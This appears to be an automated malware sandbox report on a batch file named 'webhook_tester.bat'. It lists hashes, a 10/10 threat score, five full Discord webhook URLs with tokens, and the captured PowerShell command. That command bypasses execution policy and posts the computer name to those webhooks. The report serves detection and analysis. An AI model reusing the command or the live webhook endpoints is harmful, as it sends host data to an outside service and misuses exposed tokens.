Overview

overview

10

Static

static

1

webhook_tester.bat

windows10-2004-x64

10

webhook_tester.bat

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    102s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/07/2026, 22:15

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    webhook_tester.bat
  • Size 5KB
  • Sample260712-16gmcabv2x
  • SHA256 f75b470fb8f6b508dcd380609820f8ad466e27ce6b2be240baf9d3ecf3527c99
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://discord.com/api/webhooks/1525983353197559911/ETtil_n1LsgGNbUSU7Q_RKlNbAbyf0zgb7Z-Lp-c2dHlAILQnXu85PJB8EK75yVe_FbY
  • exe.dropper

    https://discord.com/api/webhooks/1525983375096283136/OcoK2hlnEOtaXq-kQv2CRV6F-swpSX-HznaFzZ9ow5s1kCip5JCYNTudvdITISyouTE-
  • exe.dropper

    https://discord.com/api/webhooks/1525983379651297411/sCrRzOel-J9KmTutwkFEi1GJaWQBqvmtDsd-B0RKcnRpVor1JIYD8ao5LVwadOpzz3_A
  • exe.dropper

    https://discord.com/api/webhooks/1525983382805413920/LYs9RQLBIEIKd94aigkellewbrU-R08fL0Ew1Qe0ulCYrw1hiRAH5PD3G81XTwgQJbX4
  • exe.dropper

    https://discord.com/api/webhooks/1525983385527390348/UO85rgzOBaF3cc4Fs7DJ7CQ2wGCC7imxt_8ODZWmCbWWRxyNNuQLILg8Tt0cYg3fdGui

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\webhook_tester.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4244
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$webhook1='https://discord.com/api/webhooks/1525983353197559911/ETtil_n1LsgGNbUSU7Q_RKlNbAbyf0zgb7Z-Lp-c2dHlAILQnXu85PJB8EK75yVe_FbY'; $webhook2='https://discord.com/api/webhooks/1525983375096283136/OcoK2hlnEOtaXq-kQv2CRV6F-swpSX-HznaFzZ9ow5s1kCip5JCYNTudvdITISyouTE-'; $webhook3='https://discord.com/api/webhooks/1525983379651297411/sCrRzOel-J9KmTutwkFEi1GJaWQBqvmtDsd-B0RKcnRpVor1JIYD8ao5LVwadOpzz3_A'; $webhook4='https://discord.com/api/webhooks/1525983382805413920/LYs9RQLBIEIKd94aigkellewbrU-R08fL0Ew1Qe0ulCYrw1hiRAH5PD3G81XTwgQJbX4'; $webhook5='https://discord.com/api/webhooks/1525983385527390348/UO85rgzOBaF3cc4Fs7DJ7CQ2wGCC7imxt_8ODZWmCbWWRxyNNuQLILg8Tt0cYg3fdGui'; $computer=$env:COMPUTERNAME; $timestamp=Get-Date -Format 'yyyy-MM-dd HH:mm:ss'; $webhooks=@($webhook1, $webhook2, $webhook3, $webhook4, $webhook5); $counter=1; $results=@(); foreach ($wh in $webhooks) { $result = [PSCustomObject]@{ Webhook = 'WH'+$counter.ToString(); Status = 'Bekleniyor'; Message = ''; URL = $wh; }; try { $test_payload=@{ username='WebhookTester_'+$computer; content='**[WEBHOOK TEST - '+$timestamp+']**' + "`r`n" + 'Webhook #'+$counter.ToString()+' calisiyor!'; }; $jsonPayload=$test_payload
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2704

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads